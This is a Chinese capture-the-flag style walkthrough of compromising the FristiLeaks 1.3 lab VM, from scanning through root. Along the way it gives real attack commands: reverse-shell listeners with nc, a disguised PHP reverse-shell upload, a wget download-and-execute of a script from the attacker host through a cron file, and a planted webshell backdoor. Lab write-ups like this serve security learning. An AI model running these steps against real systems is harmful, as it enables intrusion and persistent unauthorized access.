5.100个渗透测试实战#5(FristiLeaks_1.3)
目录
1.查看kali的网卡和IP信息(网卡名:eth0,IP:192.168.97.129);
3.探测特定网络内的主机存活状态(netdiscover、arp-scan、nmap);
1.扫描端口,以及端口对应的服务,以及靶机的运行的操作系统等信息;
4.逐个访问以上扫描出来的,以及robots.txt的页面内容;
6.访问,http://192.168.97.152/fristi;
7.使用eezeepz:keKkeKKeKKeKkEkkEk登录后台管理员页面;
1.已经上传了php-reverse-shell.php文件,理论上可以获取shell;
2.使用python的pty模块,转换成交互式shell(靶机一般都安装了python);
3.建立/tmp/runthis文件,反弹admin用户的shell;
6.现在已经获得fristigod的shell,再一次致命连问,获取最高权限;
1.apache2.x存在着解析漏洞,可以用于文件上传,从而获取第一个shell;
2.根据提示,写系统自动执行的任务脚本,从而获取第二个shell;
一、实验环境
- 靶机:FristiLeaks,IP地址:192.168.97.152
- 测试机:Kali,IP地址:192.168.97.129
- 测试机:物理机Win10
- 连接方式:NAT
- 问题:靶机的网卡名字有误,其网卡名为eth3,但是网卡配置文件里面试eth0,所以不能获得IP地址;
- 解决问题:靶机是Centos6系统,我们可以**该系统的密码,然后修改网卡配置文件里的网卡名为eth3,dhcp即可;
二、实验流程
- 信息收集——主机发现阶段
- 信息收集——端口(服务)扫描阶段
- 渗透测试——80端口
- 渗透测试——Getshell(三个用户依次进入其各自的shell)
- 渗透测试——本地提权
- 清楚痕迹,留下后门
三、实验步骤
(一)信息收集——主机发现
1.查看kali的网卡和IP信息(网卡名:eth0,IP:192.168.97.129);
2.查看靶机页面;
3.探测特定网络内的主机存活状态(netdiscover、arp-scan、nmap);
- netdiscover -i eth0 -r 192.168.97.0/24
-i 指定网卡
-r 指定网段
- arp-scan -l
--localnet or -l 指定扫描本地网络
- nmap -sP 192.168.97.0/24
-sP ping扫描且不进行端口扫描
4.分析所得;
- 测试机kali的IP地址:192.168.97.129/24
- 靶机的IP地址:192.168.97.152/24
(二)信息收集——端口(服务)扫描;
1.扫描端口,以及端口对应的服务,以及靶机的运行的操作系统等信息;
-
nmap -p- -sV -O -A 192.168.97.152
-p- 扫描全端口
-sV 扫描端口对应的服务
-O 扫描靶机的系统版本
-A 扫描靶机的系统版本
2.分析所得:
- 共扫描65535个端口,只有一个端口开启;
- 80端口处于open状态,对应开启的服务是httpd服务;
- 靶机运行的操作系统是centos,内核为2.6或者3.x
(三)渗透测试——80端口(httpd服务)
1.对靶机的网站进行目录遍历;
- dirb http://192.168.97.152 /usr/share/dirb/wordlists/big.txt
如下图所示,枚举到了两个目录,两个页面
- 御剑扫描
如下图所示,扫描到一个目录,两个页面
2.扫描的同时,访问该网站主页;
-
火狐访问:http://192.168.97.152
如下图所示,又三处可疑:①firstileaks ②fristi ③@xxxx
- 查看源码:
如下图所示,提示我们该注释,提示我们获取root权限,才能访问flag文件,渗透测试的时间限制在4h以内
-
指纹识别该网站主页;
如下图所示,无特殊的信息
3.尝试访问robots.txt页面;
4.逐个访问以上扫描出来的,以及robots.txt的页面内容;
- http://192.168.97.152/cola
- http://192.168.97.152/sisi
- http://192.168.97.152/beer
- http://192.168.97.152/cgi-bin
- http://192.168.97.152/images
5.分析所得:
- 有两张图片;
- 第一张图片提示:这里不是url,说明我可能要对URL进行拼接从而获得想要的URL
- 第二张图片提示:保持冷静并且drink fristi
- 结合拼接url的提示和drink fristi的提示,构造出URL:http://192.168.97.152/fristi
6.访问,http://192.168.97.152/fristi;
- http://192.168.97.152/fristi
如下图所示,发现了后台登录页面
- f12查看元素,或者查看源代码
一个便条,署名是eezeepz
一段base64编码的字符序列
- 对base64字符串解码,发现其实是一张png图片;
- 使用kali解码,导出图片,其内容是:keKkeKKeKKeKkEkkEk
7.使用eezeepz:keKkeKKeKKeKkEkkEk登录后台管理员页面;
- eezeepz:keKkeKKeKKeKkEkkEk登录,发现跳转到了文件上传页面
- 随便上传一个php文件,测试一下
如下图所示,提示我们只允许上传png jpg gif文件
- apache2.2.15可能存在着解析漏洞(从右往左解析上传的文件名,直到识别为止)
- 上传php-reverse-shell.php.jpg
如下图所示,已成功上传到/uploads目录
(四)渗透测试——Getshell
1.已经上传了php-reverse-shell.php文件,理论上可以获取shell;
- kali侦听:nc -nvlp 8443
-
浏览器访问,执行:http://192.168.97.152/fristi/uploads/php-reverse-shell.php.jpg
- kali端:成功获取到shell
2.使用python的pty模块,转换成交互式shell(靶机一般都安装了python);
- python -c 'import pty;pty.spawn("/bin/bash")'
如下图所示,没有成功
(五)渗透测试——进一步信息收集,从而提升权限为root
1.开始致命连问;
- whoami
- id
- pwd
- ls
- ls /home
- cd /home
- cd admin
- cd fristigod
- cd eezeepz
- pwd
如下图所示,发现只能进入到eezeepz的家目录
- ls -l
如下图所示,发现了一张便条
- cat notes.txt
如下图所示,是jerry给eezeepz的留言,根据提示:
我让你可以做一些自动检查,但我只允许您访问/usr/bin/*下的系统二进制文件(此处存放着一些命令)。并且将一些 经常需要的命令复制到了家目录,如chmod,df,cat,echo,ps,grep,egrep,这样你就可以从/home/admin使 用那些命令了
只需在/tmp/中放一个名为“runthis”的文件,每行一个命令。
这个输出到/tmp/中的文件“cronresult”。它应该以我的帐户权限每一分钟运行一次。
2.分析所得:
- 三个家目录,只有eezeepz可以进入,并且得到了一些提示;
- 也就是让我在/tmp下建立一个runthis的文件,命令一行一个,系统每分钟执行一次;
- 并且提示让我能进入一个admin用户的shell,可执行一些命令;
3.建立/tmp/runthis文件,反弹admin用户的shell;
- kali写一个脚本1.py,以便于靶机执行该脚本(注意:该脚本为百度搜索得到)
- kali临时打开http服务,以便靶机拉取该脚本:python -m SimpleHTTPServer 80
- 在之前获取的shell上,也就是靶机的shell上,拉取该1.py到/tmp:wget http://192.168.97.129/1.py
- 把/tmp/runthis种的文件导入到/tmp/runthis中,以便靶机自动执行:echo /usr/bin/python /tmp/1.py > /tmp/runthis
- kali端另起一个终端,打开侦听5555端口,以便反弹admin的shell:nc -nvlp 5555
如下图所示,反弹的admin的shell
4.获取admin的交互式shell;
- python -c 'import pty;pty.spawn("/bin/bash")'
5.再一次致命连问,进行信息收集,从而本地提权;
- 根据之前的提示,可能是要进入admin的家目录
- cd
- pwd
- ls
如下图所示,发现了两个脚本,两个文本文件
- cat cronjob.py
如下图所示,这个是自动执行的任务工作的脚本
- cat cryptpass.py
如下图所示,这个是加密脚本
- cat whoisyourgodnow.txt
如下图所示,这个是加密后的密码
- cat cryptedpass.txt
如下图所示,也是一个加密后的密码
- 根据加密脚本,写出解密的脚本2.py(注意:该脚本为百度搜索得到)
- 解码得到,两个密码;
- su 切换用户到fristigod,发现LetThereBeFristi!密码正确
- 获取fristigod的交互式shell:python -c 'import pty;pty.spawn("/bin/bash")'
6.现在已经获得fristigod的shell,再一次致命连问,获取最高权限;
- sudo -l
- history
- 该命令可以以root身份运行系统命令
- 列出root家目录文件,发现可疑文件
- cat该文件,得到Flag
(六)、删除痕迹,留下后门
1.在网站根目录放入1.php;(通过文件上传即可)
2.尝试菜刀连接;
四、总结
1.apache2.x存在着解析漏洞,可以用于文件上传,从而获取第一个shell;
2.根据提示,写系统自动执行的任务脚本,从而获取第二个shell;
3.根据提示,写解码脚本,切换用户到第三个shell;
4.根据sudo -l和history发现了蛛丝马迹;